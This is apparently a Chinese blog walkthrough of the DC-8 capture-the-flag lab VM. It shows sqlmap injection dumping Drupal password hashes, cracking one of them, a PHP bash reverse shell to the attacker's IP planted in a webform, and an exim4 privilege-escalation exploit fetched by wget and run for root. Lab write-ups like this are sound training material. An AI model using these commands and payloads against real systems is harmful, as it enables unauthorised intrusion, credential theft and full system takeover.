DC-8靶场

目录

DC-8靶场链接:

首先进行主机发现:

sqlmap得到账号密码:

反弹shell:

exim4提权:

Flag:


DC-8靶场链接:

https://www.five86.com/downloads/DC-8.zip

下载后解压会有一个DC-8.ova文件,直接在vm虚拟机点击左上角打开-->文件--.选中这个.ova文件就能创建靶场,kali和靶机都调整至NAT模式即可开始渗透。

首先进行主机发现:

arp-scan -l

可以得知靶机ip是192.168.183.151

ARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied

Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)

192.168.183.1 00:50:56:c0:00:08 (Unknown)

192.168.183.2 00:50:56:fc:0d:25 (Unknown)

192.168.183.151 00:0c:29:09:4d:2d (Unknown)

192.168.183.254 00:50:56:fe:ac:e6 (Unknown)

192.168.183.2 00:50:56:fc:0d:25 (Unknown) (DUP: 2)

5 packets received by filter, 0 packets dropped by kernel

Ending arp-scan 1.10.0: 256 hosts

进行nmap扫描:

nmap -sV -p- 192.168.183.151

得知打开两个端口,22端口ssh远程链接,80是HTTP 协议的通信:

Nmap scan report for 192.168.183.151

Host is up (0.00060s latency).

Not shown: 65533 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)

80/tcp open http Apache httpd

MAC Address: 00:0C:29:09:4D:2D (VMware)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Dirsearch扫描:

dirsearch -u 192.168.183.151 -e * -i 200

得到报告,/user/login可以跳转至登录后台界面:

Target: http://192.168.183.151/

20:47:57\] Starting: \[20:48:16\] 200 - 769B - /COPYRIGHT.txt \[20:48:17\] 200 - 33KB - /CHANGELOG.txt \[20:48:24\] 200 - 868B - /INSTALL.mysql.txt \[20:48:24\] 200 - 1KB - /install.php?profile=default \[20:48:24\] 200 - 1KB - /install.php \[20:48:24\] 200 - 842B - /INSTALL.pgsql.txt \[20:48:24\] 200 - 6KB - /INSTALL.txt \[20:48:26\] 200 - 7KB - /LICENSE.txt \[20:48:27\] 200 - 2KB - /MAINTAINERS.txt \[20:48:30\] 200 - 2KB - /node \[20:48:35\] 200 - 2KB - /README.txt \[20:48:35\] 200 - 744B - /robots.txt \[20:48:37\] 200 - 129B - /sites/all/libraries/README.txt \[20:48:37\] 200 - 0B - /sites/example.sites.php \[20:48:37\] 200 - 715B - /sites/all/modules/README.txt \[20:48:37\] 200 - 431B - /sites/README.txt \[20:48:37\] 200 - 545B - /sites/all/themes/README.txt \[20:48:42\] 200 - 3KB - /UPGRADE.txt \[20:48:42\] 200 - 2KB - /user \[20:48:42\] 200 - 2KB - /user/login/ \[20:48:42\] 200 - 2KB - /user/ \[20:48:43\] 200 - 177B - /views/ajax/autocomplete/user/a \[20:48:44\] 200 - 2KB - /web.config \[20:48:46\] 200 - 42B - /xmlrpc.php

sqlmap得到账号密码:

发现?nid=1,改变数字可以切换到不同页面,这很有可能是一个基于参数的动态页面实现方式。这种实现方式通常会将参数值传递给后端服务器,后端服务器会根据参数值从数据库中查询相应的数据,并生成对应的页面返回给客户端浏览器。因此,可以推测出这个网站后端很可能与数据库相连,以实现动态页面的生成和数据交互。

在1后面加单引号报错,说明这里存在sql注入。

我们用sqlmap爆破,最终payload:

sqlmap -u "http://192.168.183.151/?nid=1" -D d7db -T users -C login,name,pass --dump

顺利注入得到后台的账号密码:

Database: d7db

Table: users

3 entries

+------------+---------+---------------------------------------------------------+

| login | name | pass |

+------------+---------+---------------------------------------------------------+

| 0 | <blank> | <blank> |

| 1567766626 | admin | SD2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |

| 1703078726 | john | SDqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |

+------------+---------+---------------------------------------------------------+

我们可以看到密码被加密,用vim创建文件并复制被加密的密码进去,然后用join破解:

vim /home/kali/桌面/pass.txt

john /home/kali/桌面/pass.txt

但是admin用户的破解不了,只能破解john的,得到报告:

Using default input encoding: UTF-8

Loaded 1 password hash (Drupal7, S [SHA512 512/512 AVX512BW 8x])

Cost 1 (iteration count) is 32768 for all loaded hashes

Will run 4 OpenMP threads

Proceeding with single, rules:Single

Press 'q' or Ctrl-C to abort, almost any other key for status

Almost done: Processing the remaining buffered candidate passwords, if any.

Proceeding with wordlist:/usr/share/john/password.lst

turtle (?)

1g 0:00:00:00 DONE 2/3 (2023-12-20 22:34) 1.250g/s 1400p/s 1400c/s 1400C/s swimmer..williams

Use the "--show" option to display all of the cracked passwords reliably

Session completed.

得到账号john,密码turtle,john无法ssh远程登录,但是可以登录网页。

反弹shell:

在网页里到处点击,找到了可以执行php代码的地方,可以执行Php代码的地方在,联系我们-->WEBFROM-->Form settings的地方,选择php code

在里面添加反弹shell语句并保存:

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.183.138/666 0>&1' ");?>

然后在kali打开监听:

nc -lvvp 666

回到网页编辑发送邮件,即可弹回shell

找到设置suid权限的文件:

find / -user root -perm -4000 -print 2>/dev/null

该命令的作用是在整个文件系统中搜索所有属主为root且具有setuid位的文件,并将它们的路径输出到标准输出(终端屏幕)上。具体来说,这个命令使用了find命令和一些选项,如下所示:

find:用于在文件系统中搜索文件和目录。

/:表示搜索的起始目录,这里是整个文件系统。

-user root:表示只搜索属主为root的文件。

-perm -4000:表示只搜索具有setuid位的文件。其中,4000是一个八进制数,表示setuid标志位的值为4。setuid位可以让非root用户以root权限执行该文件,因此具有一定的安全风险。

-print:表示将搜索到的文件路径输出到标准输出上。

2>/dev/null:表示将错误输出重定向到空设备上。因为/root目录可能不可访问,所以在搜索时可能会出现一些错误信息,通过这个选项可以避免这些错误信息干扰结果。

shell返回如下数据:

/usr/bin/gpasswd

/usr/bin/chsh

/usr/bin/passwd

/usr/bin/sudo

/usr/bin/newgrp

/usr/sbin/exim4

/usr/lib/openssh/ssh-keysign

/usr/lib/eject/dmcrypt-get-device

/usr/lib/dbus-1.0/dbus-daemon-launch-helper

/bin/ping

/bin/su

/bin/umount

/bin/mount

又来了,熟悉的exim4。

exim4提权:

先查看exim4版本

exim4 --version

和上一个靶场一样,这里可以使用searchsploit,其参数有:

复制代码
   -c, --case     [Term]      区分大小写(默认不区分大小写)
   -e, --exact    [Term]      对exploit标题进行EXACT匹配 (默认为 AND) [Implies "-t"].
   -h, --help                 显示帮助
   -j, --json     [Term]      以JSON格式显示结果
   -m, --mirror   [EDB-ID]    把一个exp拷贝到当前工作目录,参数后加目标id
   -o, --overflow [Term]      Exploit标题被允许溢出其列
   -p, --path     [EDB-ID]    显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号
   -t, --title    [Term]      仅仅搜索漏洞标题(默认是标题和文件的路径)
   -u, --update               检查并安装任何exploitdb软件包更新(deb或git)
   -w, --www      [Term]      显示Exploit-DB.com的URL而不是本地路径(在线搜索)
   -x, --examine  [EDB-ID]    使用$ PAGER检查(副本)Exp
       --colour               搜索结果不高亮显示关键词
       --id                   显示EDB-ID
       --nmap     [file.xml]  使用服务版本检查Nmap XML输出中的所有结果(例如:nmap -sV -oX file.xml)
                                使用“-v”(详细)来尝试更多的组合
       --exclude="term"       从结果中删除值。通过使用“|”分隔多个值
                              例如--exclude=“term1 | term2 | term3”。

使用payload:

searchsploit exim 4

出来的结果很多,我们使用46996.sh

"Local Privilege E"表示本地特权升级漏洞;"Remote Command Ex"表示远程命令执行漏洞;"Denial of Service"表示拒绝服务漏洞等等

先打开kali的Apache服务:

systemctl start apache2.service

把脚本复制到其html下

cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html

John用户那边用 wget命令下载这个脚本

wget http://192.168.183.138/46996.sh

ls -l查看脚本权限,发现没有执行权限,我们需要给脚本加执行权限

chmod +x 46996.sh

执行脚本:
./46996.sh -m netcat

Flag:

和之前一样,在/root目录下找到flag.txt

相关推荐
liann1197 小时前
3.2_红队攻击框架--MITRE ATT&CK‌
python·网络协议·安全·网络安全·系统安全·信息与通信
德迅云安全杨德俊9 小时前
DDoS 解析与防御体系
网络·安全·web安全·ddos
电子科技圈10 小时前
芯科科技在蓝牙亚洲大会展示汽车与边缘AI前沿蓝牙创新技术, 解锁车用、家居、健康及工商业等应用场景
人工智能·科技·嵌入式硬件·mcu·物联网·网络安全·汽车
王大傻092812 小时前
WASC 团队报告的安全威胁分类
网络·安全·web安全
大方子12 小时前
【好靶场】有点儿用的图形验证码
网络安全·好靶场
能年玲奈喝榴莲牛奶12 小时前
记一次挖矿病毒应急
网络安全·应急响应
橘子海全栈攻城狮12 小时前
【最新源码】养老院系统管理A013
java·spring boot·后端·web安全·微信小程序
网络安全许木13 小时前
自学渗透测试第30天(第一阶段总结与Metasploitable3部署)
网络安全·渗透测试
王大傻092815 小时前
注入攻击的概念
web安全·网络安全